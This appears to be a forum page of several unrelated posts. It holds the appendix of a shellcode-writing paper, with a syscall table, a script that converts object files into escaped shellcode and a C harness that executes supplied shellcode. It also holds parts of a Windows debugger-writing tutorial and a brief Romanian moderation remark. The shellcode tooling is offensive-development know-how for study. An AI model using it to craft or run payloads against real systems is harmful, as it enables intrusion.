(2.2+) 185 sys_capset (2.2+) 186 sys_sigaltstack (2.2+) 187 sys_sendfile (2.2+) 188 sys_getpmsg [sys_ni_syscall] 189 sys_putpmsg [sys_ni_syscall] 190 sys_vfork (2.2+) ---------------------------------------------------------------------------------------------------- APPENDIX B - XXD Program ~~~~~~~~~~~~~~~~~~~~~~~~ root@MINDZSEC:~/root$ cat xxd #!/bin/bash if [ $# -ne 1 ] then printf "\n\tUsage: $0 filename.o\n\n" exit fi filename=`echo $1 | sed s/"\.o$"//` rm -f $filename.shellcode objdump -d $filename.o | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-6 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed 's/^/"/' | sed 's/$/"/g' echo ---------------------------------------------------------------------------------------------------- APPENDIX C - Shtester Program by hellman ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ I added the program here not to get a long paper, but i added for you in case that the author will erase it or the website will be shutdown root@MINDZSE:~/root$ cat shtest.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include <signal.h> #include <ctype.h> #include <unistd.h> #include <fcntl.h> #include <sys/mman.h> #include <sys/types.h> /* See NOTES */ #include <sys/wait.h> #include <sys/socket.h> /*------------------------------------------ Shellcode testing program Usage: shtest [-s socked_fd_no] {-f file | $'\xeb\xfe' | '\xb8\x39\x05\x00\x00\xc3'} Usage example: $ shtest $'\xeb\xfe' # raw shellcode $ shtest '\xb8\x39\x05\x00\x00\xc3' # escaped shellcode $ shtest -f test.sc # shellcode from file $ shtest -f <(python gen_payload.py) # test generated payload $ shtest -s 5 -f test.sc # create socket at fd=5 # Allows to test staged shellcodes # Flow is redirected like this: STDIN -> SOCKET -> STDOUT Compiling: gcc -Wall shtest.c -o shtest Author: hellman (hellman1908@gmail.com) -------------------------------------------*/ char buf[4096]; int pid1, pid2; int sock; int ready; void usage(char * err); int main(int argc, char **argv); void load_from_file(char *fname); void copy_from_argument(char *arg); void escape_error(); int create_sock(); void run_reader(int); void run_writer(int); void set_ready(int sig); void run_shellcode(void *sc_ptr); void usage(char * err) { printf(" Shellcode testing program\n\ Usage:\n\ shtest {-f file | $'\\xeb\\xfe' | '\\xb8\\x39\\x05\\x00\\x00\\xc3'}\n\ Usage example:\n\ $ shtest $'\\xeb\\xfe' # raw shellcode\n\ $ shtest '\\xb8\\x39\\x05\\x00\\x00\\xc3' # escaped shellcode\n\ $ shtest -f test.sc # shellcode from file\n\ $ shtest -f <(python gen_payload.py) # test generated payload\n\ $ shtest -s 5 -f test.sc # create socket at fd=5 (STDIN <- SOCKET -> STDOUT)\n\ # Allows to test staged shellcodes\ # Flow is redirected like this: STDIN -> SOCKET -> STDOUT\ Compiling:\n\ gcc -Wall shtest.c -o shtest\n\ Author: hellman (hellman1908@gmail.com)\n"); if (err) printf("\nerr: %s\n", err); exit(1); } int main(int argc, char **argv) { char * fname = NULL; int c; pid1 = pid2 = -1; sock = -1; while ((c = getopt(argc, argv, "hus:f:")) != -1) { switch (c) { case 'f': fname = optarg; break; case 's': sock = atoi(optarg); if (sock <= 2 || sock > 1024) usage("bad descriptor number for sock"); break; case 'h': case 'u': usage(NULL); default: usage("unknown argument"); } } if (argc == 1) usage(NULL); if (optind < argc && fname) usage("can't load shellcode both from argument and file"); if (!(optind < argc) && !fname) usage("please provide shellcode via either argument or file"); if (optind < argc) { copy_from_argument(argv[optind]); } else { load_from_file(fname); } //create socket if needed if (sock != -1) { int created_sock = create_sock(sock); printf("Created socket %d\n", created_sock); } run_shellcode(buf); return 100; } void load_from_file(char *fname) { FILE * fd = fopen(fname, "r"); if (!fd) { perror("fopen"); exit(100); } int c = fread(buf, 1, 4096, fd); printf("Read %d bytes from '%s'\n", c, fname); fclose(fd); } void copy_from_argument(char *arg) { //try to translate from escapes ( \xc3 ) bzero(buf, sizeof(buf)); strncpy(buf, arg, sizeof(buf)); int i; char *p1 = buf; char *p2 = buf; char *end = p1 + strlen(p1); while (p1 < end) { i = sscanf(p1, "\\x%02x", (unsigned int *)p2); if (i != 1) { if (p2 == p1) break; else escape_error(); } p1 += 4; p2 += 1; } } void escape_error() { printf("Shellcode is incorrectly escaped!\n"); exit(1); } int create_sock() { int fds[2]; int sock2; int result = socketpair(AF_UNIX, SOCK_STREAM, 0, fds); if (result == -1) { perror("socket"); exit(101); } if (sock == fds[0]) { sock2 = fds[1]; } else if (sock == fds[1]) { sock2 = fds[0]; } else { dup2(fds[0], sock); close(fds[0]); sock2 = fds[1]; } ready = 0; signal(SIGUSR1, set_ready); /* writer: stdin -> socket (when SC exits/fails, receives SIGCHLD and exits) \--> main: shellcode (when exits/fails, sends SIGCHLD to writer and closes socket) \--> reader: sock -> stdout (when SC exits/fails, socket is closed and reader exits) main saves pid1 = reader, pid2 = writer to send them SIGUSR1 right before running shellcode */ pid1 = fork(); if (pid1 == 0) { close(sock); run_reader(sock2); } pid2 = fork(); if (pid2 > 0) { // parent - writer signal(SIGCHLD, exit); close(sock); run_writer(sock2); } pid2 = getppid(); close(sock2); return sock; } void run_reader(int fd) { char buf[4096]; int n; while (!ready) { usleep(0.1); } while (1) { n = read(fd, buf, sizeof(buf)); if (n > 0) { printf("RECV %d bytes FROM SOCKET: ", n); fflush(stdout); write(1, buf, n); } else { exit(0); } } } void run_writer(int fd) { char buf[4096]; int n; while (!ready) { usleep(0.1); } while (1) { n = read(0, buf, sizeof(buf)); if (n > 0) { printf("SENT %d bytes TO SOCKET\n", n); write(fd, buf, n); } else { shutdown(fd, SHUT_WR); close(fd); wait(&n); exit(0); } } } void set_ready(int sig) { ready = 1; } void run_shellcode(void *sc_ptr) { int ret = 0, status = 0; int (*ptr)(); ptr = sc_ptr; mprotect((void *) ((unsigned int)ptr & 0xfffff000), 4096 * 2, 7); void *esp, *ebp; void *edi, *esi; asm ("movl %%esp, %0;" "movl %%ebp, %1;" :"=r"(esp), "=r"(ebp)); asm ("movl %%esi, %0;" "movl %%edi, %1;" :"=r"(esi), "=r"(edi)); printf("Shellcode at %p\n", ptr); printf("Registers before call:\n"); printf(" esp: %p, ebp: %p\n", esp, ebp); printf(" esi: %p, edi: %p\n", esi, edi); printf("----------------------\n"); if (pid1 > 0) kill(pid1, SIGUSR1); if (pid2 > 0) kill(pid2, SIGUSR1); ret = (*ptr)(); if (sock != -1) close(sock); wait(&status); printf("----------------------\n"); printf("Shellcode returned %d\n", ret); exit(0); } ---------------------------------------------------------------------------------------------------- EOF -> End of File For Any Question Contact to meeee. No Greetings . © Offensive Security 2011 Source
  20. Welcome to the final installment of how to write a primitive debugger. This post will cover some miscellaneous topics that were not present in the previous articles in order to add some missing core functionality. The topics covered here will be how to display a disassembly listing , how to step over code, i.e. step past a conditional branch, and how to dump and modify arbitrary memory of a process. Disassembly In order to display a disassembly dump on x86 and x64, this debugger will take advantage of the BeaEngine disassembly library. This is a very handy library that supports the 16/32/64-bit Intel instruction sets as well as floating point and vector extensions. The project is open source for those interested in looking at the internals of the disassembler. In the example code, it is distributed as DLLs that the code will load and be used at runtime. This is done as a convenience in order to prevent having to possibly recompile static libraries. The disassembler code will be pretty straightforward to work with. BeaEngine has a DISASM structure that needs to be initialized with the architecture type and an address. This is then passed along to a Disasm function, which fills the structure with information about the instruction at the address. Since the disassembler is dynamically loaded, and is used for x86/x64 in the same code, the function pointer to Disasm needs to be retrieved. All of this initialization code can be handled in the constructor. Disassembler::Disassembler(HANDLE hProcess) : m_hProcess{ hProcess } { memset(&m_disassembler, 0, sizeof(DISASM)); #ifdef _M_IX86 m_disassembler.Archi = 0; if (m_hDll == nullptr) { m_hDll = LoadLibrary(L"BeaEngine_x86.dll"); m_pDisasm = (pDisasm)GetProcAddress(m_hDll, "_Disasm@4"); } #elif defined _M_AMD64 m_disassembler.Archi = 64; if(m_hDll == nullptr) { m_hDll = LoadLibrary(L"BeaEngine_x64.dll"); m_pDisasm = (pDisasm)GetProcAddress(m_hDll, "Disasm"); } #else #error "Unsupported architecture" #endif } with m_hDll and m_pDisasm being static, since there’s no need to retrieve these per instance. Since the code is meant to work on x86/x64, there are two separate versions of the DLL provided — one for use in x86 applications, the other for x64. Now that the disassembly engine is loaded and initialized, it is time to actually begin disassembling code. There is an interesting problem that comes up, however. The debugger is attached to another process, but the disassembler is given an address in the current address space to disassemble at, i.e. the user can request disassembly at address 0x00411000 when prompted. The disassembly at address 0x00411000 in the debugger doesn’t have any relation to the disassembly at address 0x00411000 in the target, due to how virtual memory works. So the solution isn’t as easy as setting the target address to disassemble at to 0x00411000 and calling Disasm. Instead, the memory at 0x00411000 in the target process must be read and that must be disassembled. Something like this was already done when implementing Interrupt Breakpoints; the original byte at the address was saved before replacing it with an 0xCC opcode. For this, it is still as simple as calling ReadProcessMemory and storing the buffer. const bool Disassembler::TransferBytes(const DWORD_PTR dwAddress) { SIZE_T ulBytesRead = 0; bool bSuccess = BOOLIFY(ReadProcessMemory(m_hProcess, (LPCVOID)dwAddress, m_bytes.data(), m_bytes.size(), &ulBytesRead)); if (bSuccess && ulBytesRead == m_bytes.size()) { return true; } else { fprintf(stderr, "Could not read from %p. Error = %X\n", dwAddress, GetLastError()); } return false; } Once that is done, the disassembly process is no more difficult than the BeaEngine example. The target disassembly address is set and the Disasm function is called through the function pointer retrieved from the DLL. This function fills the DISASM structure (m_disassembler in the code), and returns the length of the instruction. This can be added to the previous address to get the address of the next instruction, and the process repeats. const bool Disassembler::BytesAtAddress(DWORD_PTR dwAddress, size_t ulInstructionsToDisassemble /*= 15*/) { if (IsInitialized()) { SetDisassembler(dwAddress); bool bFailed = false; while (!bFailed && ulInstructionsToDisassemble-- > 0) { int iDisasmLength = m_pDisasm(&m_disassembler); if (iDisasmLength != UNKNOWN_OPCODE) { fprintf(stderr, "0x%p - %s\n", dwAddress, m_disassembler.CompleteInstr); m_disassembler.EIP += iDisasmLength; dwAddress += iDisasmLength; } else { fprintf(stderr, "Error: Reached unknown opcode in disassembly.\n"); bFailed = true; } } } else { fprintf(stderr, "Could not show disassembly at address. Disassembler Dll was not loaded properly.\n"); return false; } return true; } The SetDisassembler function is responsible for setting the correct starting address in the debuggers local copy of the target processes memory at the desired address. The debugger keeps a 4096 byte cache (the default Windows page size) and uses that if the target to disassemble exists within that range. Otherwise, a read is performed again and the cache re-initialized void Disassembler::SetDisassembler(const DWORD_PTR dwAddress) { bool bIsCached = ((dwAddress - m_dwStartAddress) < m_bytes.size()); bIsCached &= (dwAddress < m_dwStartAddress); if (!bIsCached) { (void)TransferBytes(dwAddress); m_disassembler.EIP = (UIntPtr)m_bytes.data(); m_dwStartAddress = dwAddress; } else { m_disassembler.EIP = (UIntPtr)&m_bytes.data()[dwAddress - m_dwStartAddress]; } } And that’s all it takes. The debugger can now print a disassembly listing at any readable address. Step Over Step into is the ability to step one instruction at a time as it executes and is something that is supported at the hardware level with the single step flag. Step over is implemented purely in code and is a convenience function that lets the user skip stepping into branches in the code. For example, take the following disassembly listing: 0040108D 81 C4 C0 00 00 00 add esp, 0C0h 00401093 3B EC cmp ebp,esp 00401095 E8 76 03 00 00 call SomeFunction (0401410h) 0040109A 8B E5 mov esp,ebp ... Assume that you are at a broken state at address 0x0040108D. You know that SomeFunction is not of any interest to you and you don’t want to single step through it. You’d rather get to the more interesting parts at address 0x0040109A and below. So what you do is when you’re at 0x00401093, you set a breakpoint at 0x0040109A and continue execution. This effectively skips the CALL instruction at 0x00401095 and hits your breakpoint at the instruction immediately following it, so you can continue debugging. Step over effectively wraps these steps in to one convenient function provided by a debugger. In order to perform a step over, the debugger must know what the next instruction is. This is obviously needed because it is the instruction that the user wishes to break at next. The next instruction can be one of a few types: Invalid A non-branching instruction (i.e. add/mov/lea/push/…) A conditional branching instruction (i.e. jz/jge/jb/…) A non-conditional branching instruction (i.e. call/jmp/ret) If it’s an invalid instruction, then it’s up to the debugger implementation to decide what to do next. In the second case, the next instruction is simply the address of the current one plus the length of the current instruction. The third case is interesting and is also partially implementation defined. If the user is broken on a conditional branch and wishes to step over, how should that be treated? For example, assume the user is looking at the following disassembly listing and is broken on 0x00401219: 00401213 8B 45 F8 mov eax,dword ptr [a] 00401216 3B 45 EC cmp eax,dword ptr [b] 00401219 7E 05 jle test+60h (0401220h) 0040121B E8 50 FF FF FF call d (0401170h) 00401220 8B F4 mov esi,esp Assume [a] is greater than , so the jump will not be taken and the next instruction will be 0x0040121B. The user decides that they want to step over, so they will land at 0x0040121B, which is correct. Now assume the opposite: that [a] is less than or equal to . This means that the branch will be taken and the next address will be 0x00401220. If the user is at 0x00401219 and decides to step over, then what happens? Since 0x0040121B will not be reached, that step over point isn’t necessary valid. Should execution continue because the step over will not be reached, or should the debugger “fix” it for the user and break at 0x00401220? Different debuggers do different things here. I would personally go with the latter case just to be safe. Especially since the debugger has access to the EFLAGS register and can tell whether the branch will be taken or not prior to execution of the instruction. This particular scenario is left undefined in the example code. The last scenario is that of an unconditional branch. The two unconditional branches that affect implementing step over are JMP (unconditional jump) and RET (return). Under both of these, the point of execution is guaranteed to change: either to the jump destination or to the return address on the stack. Stepping over a RET instruction is pretty useless, because it won’t be hit. Likewise, stepping over a JMP instruction, in 95% of cases, will also be useless. The point of return from that JMP will most likely not be the instruction following it. For these cases, the example code converts the step over into a step into and follows execution. Having said all of this, the next instruction retrieval function is implemented as follows: DWORD_PTR Disassembler::GetNextInstruction(const DWORD_PTR dwAddress, bool &bIsUnconditionalBranch) { DWORD_PTR dwNextAddress = 0; if (IsInitialized()) { SetDisassembler(dwAddress); int iDisasmLength = m_pDisasm(&m_disassembler); if (iDisasmLength != UNKNOWN_OPCODE) { if (m_disassembler.Instruction.BranchType == RetType || m_disassembler.Instruction.BranchType == JmpType) { bIsUnconditionalBranch = true; } else { dwNextAddress = (dwAddress + iDisasmLength); } } else { fprintf(stderr, "Could not get next instruction. Unknown opcode at %p.\n"); } } else { fprintf(stderr, "Could not get next instruction. Disassembler Dll was not loaded propertly.\n"); } return dwNextAddress; } with the full StepOver function being implemented as follows: const bool Debugger::StepOver() { CONTEXT ctx = GetExecutingContext(); bool bIsUnconditionalBranch = false; #ifdef _M_IX86 DWORD_PTR dwStepOverAddress = m_pDisassembler->GetNextInstruction(ctx.Eip, bIsUnconditionalBranch); #elif defined _M_AMD64 DWORD_PTR dwStepOverAddress = m_pDisassembler->GetNextInstruction(ctx.Rip, bIsUnconditionalBranch); #else #error "Unsupported platform" #endif if (bIsUnconditionalBranch) { return StepInto(); } else if (dwStepOverAddress != 0) { m_pStepPoint->Disable(); m_pStepPoint->ChangeAddress(dwStepOverAddress); (void)m_pStepPoint->Enable(); ctx.EFlags &= ~0x100; (void)SetExecutingContext(ctx); return Continue(true); } return false; } with m_pStepPoint being a breakpoint to the step over address. Dump and modify memory This last piece of functionality is nothing more than an exercise in calling ReadProcessMemory and WriteProcessMemory. const bool Debugger::PrintBytesAt(const DWORD_PTR dwAddress, size_t ulNumBytes /*= 40*/) { SIZE_T ulBytesRead = 0; std::unique_ptr<unsigned char[]> pBuffer = std::unique_ptr<unsigned char[]>(new unsigned char[ulNumBytes]); const bool bSuccess = BOOLIFY(ReadProcessMemory(m_hProcess(), (LPCVOID)dwAddress, pBuffer.get(), ulNumBytes, &ulBytesRead)); if (bSuccess && ulBytesRead == ulNumBytes) { for (unsigned int i = 0; i < ulBytesRead; ++i) { fprintf(stderr, "%02X ", pBuffer.get()[i]); } fprintf(stderr, "\n"); return true; } fprintf(stderr, "Could not read memory at %p. Error = %X\n", dwAddress, GetLastError()); return false; } const bool Debugger::ChangeByteAt(const DWORD_PTR dwAddress, const unsigned char cNewByte) { SIZE_T ulBytesWritten = 0; const bool bSuccess = BOOLIFY(WriteProcessMemory(m_hProcess(), (LPVOID)dwAddress, &cNewByte, sizeof(unsigned char), &ulBytesWritten)); if (bSuccess && ulBytesWritten == sizeof(unsigned char)) { return true; } fprintf(stderr, "Could not change byte at %p. Error = %X\n", dwAddress, GetLastError()); return false; } Testing the functionality The same example program as in the previous posts will be used, with minor modifications: #include void d() { printf("d called.\n"); } void c() { int i = 0x1234; printf("c called.\n"); printf("i is at %p with value %X.\n", &i, i); d(); printf("i is at %p with value %X.\n", &i, i); } void b() { printf("b called.\n"); c(); } void a() { printf("a called.\n"); b(); } int main(int argc, char *argv[]) { printf("Addresses: \n" "a: %p\n" "b: %p\n" "c: %p\n" "d: %p\n", a, b, c, d); getchar(); while (true) { a(); getchar(); } return 0; } To test memory modification, the i variable can be modified while the program is in a broken state in the d function. Entered commands are in red. a [A]ddress or [s]ymbol name? s Name: d Received breakpoint at address 00401170. Press c to continue, s to step into, o to step over. i Enter address to print bytes at: 0x18fcac 34 12 00 00 CC CC CC CC 0C AD C2 AA 8C FD 18 00 8A 10 40 00 60 FE 18 00 94 FD 18 00 00 E0 FD 7F CC CC CC CC CC CC CC CC e Enter address to change byte at: 0x18fcac Enter new byte: 0x12 e Enter address to change byte at: 0x18fcad Enter new byte: 0x34 c Received step at address 00401171 Output from the target application: Addresses: a: 00401000 b: 00401050 c: 004010A0 d: 00401170 a called. b called. c called. i is at 0018FCAC with value 1234. d called. i is at 0018FCAC with value 3412. Disassembly and step over are pretty straightforward to test when lined up with the Visual Studio debugger. For example, below is the disassembly relevant to the a function: //printf("a called.\n"); 00401009 68 48 21 40 00 push 402148h 0040100E FF 15 94 20 40 00 call dword ptr ds:[402094h] 00401014 83 C4 04 add esp,4 //b(); 00401017 E8 14 00 00 00 call b (0401030h) 0040101C 5F pop edi } ... Setting a breakpoint on 0x00401009 and stepping over shows the following behavior in the debugger: a [A]ddress or [s]ymbol name? a Breakpoint address: 0x401009 Received breakpoint at address 00401009. Press c to continue, s to step into, o to step over. o Could not write back original opcode to address 00000000. Error = 1E7 Received breakpoint at address 0040100E. Press c to continue, s to step into, o to step over. o Received breakpoint at address 00401014. Press c to continue, s to step into, o to step over. o Received breakpoint at address 00401017. Press c to continue, s to step into, o to step over. o Received breakpoint at address 0040101C. Press c to continue, s to step into, o to step over. Lastly, a disassembly listing for all of this can be displayed: d Enter address to print disassembly at: 0x401009 0x00401009 - push 00402148h 0x0040100E - call dword ptr [00402094h] 0x00401014 - add esp, 04h 0x00401017 - call 0067D3A3h 0x0040101C - pop edi 0x0040101D - pop esi 0x0040101E - pop ebx 0x0040101F - mov esp, ebp 0x00401021 - pop ebp 0x00401022 - ret 0x00401023 - int3 0x00401024 - int3 0x00401025 - int3 0x00401026 - int3 0x00401027 - int3 which lines up with what Visual Studio gives. Wrap up Writing a debugger may seem like a daunting task, but it is certainly attainable. Aside from the disassembly engine — which can be a whole long series of posts in itself — everything was written from scratch in about 2,000 lines of code (doing a ‘\n’ regex search on the solution yields 2195 lines). Contained within those lines of code is the ability to Add/Remove breakpoints Step into / Step over instructions Continue execution at a breakpoint or step Print / Modify registers Print a call stack Match symbols to addresses / Dump symbols for a module Print / Modify memory Disassemble at an address While it’s certainly not WinDbg or the Visual Studio debugger, it is an impressive amount for relatively little work. Hopefully those following these series of posts have gained a bit on insight into how the tools that they may use on a frequent basis work and what it takes to develop them. Thanks for reading. Article Roadmap Basics Adding/Removing Breakpoints, Single-stepping Call Stack, Registers, Contexts Symbols Miscellaneous Features Source
  21. Nu am ce concluzie sa dau cand vine vorba de acest subiect, pur si simplu am postat, puteai sa iti spui tu parerea! Cat despre rep - am dat fiindca comentariul tau era total pe langa subiect! @JIHAD nu ai primit rep - pentru ca ai intrebat ai primit pentru offtopic si pentru ca meritat! Aici terminam discutia!
  22. Up to now, we have developed a debugger that can attach and detach from a process, set and remove breakpoints, print registers and a call stack, and modify control flow by changing the executing thread context. These are all pretty essential features of a debugger. The topic of this post, debug symbols, is more of a “nice-to-have”. An application may or may not ship with debug symbols, but in the event that it does, i.e. it’s your own application, then the process of debugging becomes significantly more simple. Debug Symbols At its simplest definition, a debug symbol is a piece of information that shows how specific parts of a compiled program map back to the source level. For example, a debug symbol might tell information about the name of a variable at a memory address, or which line of code, and in which file, a series of assembly instructions map to. They are typically generated during debug builds and are used to provide some clarity to a developer that is debugging (or reverse engineering) a piece of code. There is no universal debug symbol format for a language, and they may vary between compilers. On the modern Windows platform, debug symbols come in the form of Program Database (PDB) files, ending with a .pdb extension. These files hold a lot of useful information about the compiled executable or DLL. As mentioned above, they can contain information regarding which source file and line number (or which object file) a symbol at a certain address maps to. They can contain the names and types of global, static, and local variables, as well as classes and structs. They can also contain information compiler optimizations that were used when compiling the code. Some of these things may not be present if the code was compiled with stripped symbols. During a debugging session, the debugger will initialize a symbol handler and begin looking for, either recursively in common directories and/or user-specified directories, and parsing* matching PDB files. When a user is debugging, symbol information can be retrieved and names and source line numbers can be displayed to them (if available). * This is a useful open source parser that can parse the proprietary format of PDB files. Implementation Microsoft provides a very rich set of APIs for handling symbols through the DbgHelp API. There are functions to load/enumerate symbols for a module, find a symbol by name or address, enumerate source file and line references found in PDBs, dynamically add or remove entries from the symbol table, interact with symbol stores, and much more. Given the very large API, I’ve only chosen to demonstrate implementation of the more common features. One thing to consider is that all functions in the DbgHelp API set are single threaded. The example code is single threaded, but does not have concurrency synchronization to ensure that it is only called from a single thread, meaning if you’re implementing something off of this code, make sure that you add concurrency synchronization. Initializing a symbol handler is pretty straightforward: it merely involves calling SymInitialize. The function takes a process handle, which is opened by the debugger when it attaches. There is also a parameter for the user search path to locate PDB files, and a third parameter to specify whether the debugger is to enumerate all of the loaded modules in the process and load their symbols as well. For an attaching debugger, specifying that this behavior is dependent on the situation. There is a case, such as the debugger creating the target process to debug, or with delay-loaded DLLs, that can cause some symbols to not be loaded. Additionally, if this third parameter is set to true and the symbol handler is initialized prior to receiving all of the LOAD_DLL_DEBUG_EVENT events, then some symbols may not be loaded. The implementation sample code has been defaulted to false, and symbols for modules will be loaded in the CREATE_PROCESS_DEBUG_EVENT and LOAD_DLL_DEBUG_EVENT event handlers. This ensures that all symbol files for every module will be properly loaded. Prior to initializing the symbol handler, the SymSetOptions function should be called, which configures how and what information the symbol handler will load. Simply put into code, the initialization routine looks like the following: Symbols::Symbols(const HANDLE hProcess, const HANDLE hFile, const bool bLoadAll /*= false*/) : m_hProcess{ hProcess }, m_hFile{ hFile } { (void)SymSetOptions(SYMOPT_CASE_INSENSITIVE | SYMOPT_DEFERRED_LOADS | SYMOPT_LOAD_LINES | SYMOPT_UNDNAME); const bool bSuccess = BOOLIFY(SymInitialize(hProcess, nullptr, bLoadAll)); if (!bSuccess) { fprintf(stderr, "Could not initialize symbol handler. Error = %X.\n", GetLastError()); } } The options here specify that symbol searches will be case insensitive, that symbols won’t be loaded until a reference is made (not to be confused with delay-loading for DLLs that were mentioned above), that line information will be loaded, and that symbols will be displayed in an undecorated form. Case insensitivity and undecorated names are there for convenience; it would be annoying to search for exact symbol names such as “?f@@YAHD@Z” otherwise. When the symbol handler is finished, i.e. the debugger is detaching from the process, a simple call to SymCleanup will terminate the symbol handler: Symbols::~Symbols() { const bool bSuccess = BOOLIFY(SymCleanup(m_hProcess)); if (!bSuccess) { fprintf(stderr, "Could not terminate symbol handler. Error = %X.\n", GetLastError()); } } That sets up the initialization and termination of the symbol handler. Time for everything in between. Enumerating Symbols One useful feature of a debugger might be to internally enumerate all symbols of a module. This can allow for storage and fast lookup at a later time. Or it can allow for a graphic display for the user and easy navigation to the symbol address from its name. Enumerating symbols is a two step process: first SymLoadModuleEx is called to load the symbol table for the module, then SymEnumSymbols can be called with the base address of the module. SymEnumSymbols takes a callback of type PSYM_ENUMERATESYMBOLS_CALLBACK as a parameter. This callback will be called for every symbol found in the modules symbol table and will have a SYMBOL_INFO structure that shows information about the symbol, such as its name, address, whether it is a register, what value it holds if its a constant, etc. Put in to code, this is rather straightforward: const bool Symbols::EnumerateModuleSymbols(const char * const pModulePath, const DWORD64 dwBaseAddress) { DWORD64 dwBaseOfDll = SymLoadModuleEx(m_hProcess, m_hFile, pModulePath, nullptr, dwBaseAddress, 0, nullptr, 0); if (dwBaseOfDll == 0) { fprintf(stderr, "Could not load modules for %s. Error = %X.\n", pModulePath, GetLastError()); return false; } UserContext userContext = { this, pModulePath }; const bool bSuccess = BOOLIFY(SymEnumSymbols(m_hProcess, dwBaseOfDll, "*!*", SymEnumCallback, &userContext)); if (!bSuccess) { fprintf(stderr, "Could not enumerate symbols for %s. Error = %X.\n", pModulePath, GetLastError()); } return bSuccess; } Resolving Symbols There are several ways to resolve symbols, but the two most common are by name and by address. This can be achieved by calling SymFromName and SymFromAddr respectively. Both of these populate a SYMBOL_INFO structure, just as calling SymEnumSymbols does. Invoking them is also rather straightforward: const bool Symbols::SymbolFromAddress(const DWORD64 dwAddress, const SymbolInfo **pFullSymbolInfo) { char pBuffer[sizeof(SYMBOL_INFO) + MAX_SYM_NAME * sizeof(char)] = { 0 }; PSYMBOL_INFO pSymInfo = (PSYMBOL_INFO)pBuffer; pSymInfo->SizeOfStruct = sizeof(SYMBOL_INFO); pSymInfo->MaxNameLen = MAX_SYM_NAME; DWORD64 dwDisplacement = 0; const bool bSuccess = BOOLIFY(SymFromAddr(m_hProcess, dwAddress, &dwDisplacement, pSymInfo)); if (!bSuccess) { fprintf(stderr, "Could not retrieve symbol from address %p. Error = %X.\n", (DWORD_PTR)dwAddress, GetLastError()); return false; } fprintf(stderr, "Symbol found at %p. Name: %.*s. Base address of module: %p\n", (DWORD_PTR)dwAddress, pSymInfo->NameLen, pSymInfo->Name, (DWORD_PTR)pSymInfo->ModBase); *pFullSymbolInfo = FindSymbolByName(pSymInfo->Name); return bSuccess; } const bool Symbols::SymbolFromName(const char * const pName, const SymbolInfo **pFullSymbolInfo) { char pBuffer[sizeof(SYMBOL_INFO) + MAX_SYM_NAME * sizeof(char) + sizeof(ULONG64) - 1 / sizeof(ULONG64)] = { 0 }; PSYMBOL_INFO pSymInfo = (PSYMBOL_INFO)pBuffer; pSymInfo->SizeOfStruct = sizeof(SYMBOL_INFO); pSymInfo->MaxNameLen = MAX_SYM_NAME; const bool bSuccess = BOOLIFY(SymFromName(m_hProcess, pName, pSymInfo)); if (!bSuccess) { fprintf(stderr, "Could not retrieve symbol for name %s. Error = %X.\n", pName, GetLastError()); return false; } fprintf(stderr, "Symbol found for %s. Name: %.*s. Address: %p. Base address of module: %p\n", pName, pSymInfo->NameLen, pSymInfo->Name, (DWORD_PTR)pSymInfo->Address, (DWORD_PTR)pSymInfo->ModBase); *pFullSymbolInfo = FindSymbolByAddress((DWORD_PTR)pSymInfo->Address); return bSuccess; } with the SymbolInfo structure being an extended structure that holds information about source files and line numbers (see example code). Testing the functionality To test this functionality, we can take the sample program from the previous post (reproduced below) and see the difference in how call stacks look. The new functionality in this version has added the ability to resolve symbols for the addresses in the callstack. Also, the debugger was augmented to add two new abilities: to dump all symbols from a module, and to set/remove breakpoints on a symbol by name. #include <cstdio> void d() { printf("d called.\n"); } void c() { printf("c called.\n"); d(); } void b() { printf("b called.\n"); c(); } void a() { printf("a called.\n"); b(); } int main(int argc, char *argv[]) { printf("Addresses: \n" "a: %p\n" "b: %p\n" "c: %p\n" "d: %p\n", a, b, c, d); getchar(); while (true) { a(); getchar(); } return 0; } Setting a breakpoint on the d function and printing the call stacks shows the more useful functionality between the previous version of the debugger and this one. Entered commands are shown in red, while new symbol information is shown in orange. a [A]ddress or [s]ymbol name? s Name: d Received breakpoint at address 00401090. Press c to continue or s to begin stepping. l Frame: 0 Execution address: 00401090 Stack address: 00000000 Frame address: 0018FDE8 Symbol name: d Symbol address: 00401090 Address displacement: 0 Source file: c:\users\demo\desktop\demoapp\source.cpp Line number: 4 Frame: 1 Execution address: 0040107C Stack address: 00000000 Frame address: 0018FDEC Symbol found at 0040107C. Name: c. Base address of module: 00400000 Symbol name: c Symbol address: 00401060 Address displacement: 0 Source file: c:\users\demo\desktop\demoapp\source.cpp Line number: 9 Frame: 2 Execution address: 0040104C Stack address: 00000000 Frame address: 0018FE40 Symbol found at 0040104C. Name: b. Base address of module: 00400000 Symbol name: b Symbol address: 00401030 Address displacement: 0 Source file: c:\users\demo\desktop\demoapp\source.cpp Line number: 15 Frame: 3 Execution address: 0040101C Stack address: 00000000 Frame address: 0018FE94 Symbol found at 0040101C. Name: a. Base address of module: 00400000 Symbol name: a Symbol address: 00401000 Address displacement: 0 Source file: c:\users\demo\desktop\demoapp\source.cpp Line number: 21 Frame: 4 Execution address: 004010EF Stack address: 00000000 Frame address: 0018FEE8 Symbol found at 004010EF. Name: main. Base address of module: 00400000 Symbol name: main Symbol address: 004010B0 Address displacement: 0 Source file: c:\users\demo\desktop\demoapp\source.cpp Line number: 27 Frame: 5 Execution address: 004013A9 Stack address: 00000000 Frame address: 0018FF3C Symbol found at 004013A9. Name: __tmainCRTStartup. Base address of module: 00400000 Symbol name: __tmainCRTStartup Symbol address: 00401210 Address displacement: 0 Source file: f:\dd\vctools\crt\crtw32\dllstuff\crtexe.c Line number: 473 Frame: 6 Execution address: 004014ED Stack address: 00000000 Frame address: 0018FF8C Symbol found at 004014ED. Name: mainCRTStartup. Base address of module: 00400000 Symbol name: mainCRTStartup Symbol address: 004014E0 Address displacement: 0 Source file: f:\dd\vctools\crt\crtw32\dllstuff\crtexe.c Line number: 456 Frame: 7 Execution address: 76AE919F Stack address: 00000000 Frame address: 0018FF94 Symbol found at 76AE919F. Name: BaseThreadInitThunk. Base address of module: 00000000 Symbol name: BaseThreadInitThunk Symbol address: 76AE9191 Address displacement: 0 Source file: (null) Line number: 0 Frame: 8 Execution address: 77430BBB Stack address: 00000000 Frame address: 0018FFA0 Symbol found at 77430BBB. Name: RtlInitializeExceptionChain. Base address of module: 00000000 Symbol name: RtlInitializeExceptionChain Symbol address: 77430B37 Address displacement: 0 Source file: (null) Line number: 0 Frame: 9 Execution address: 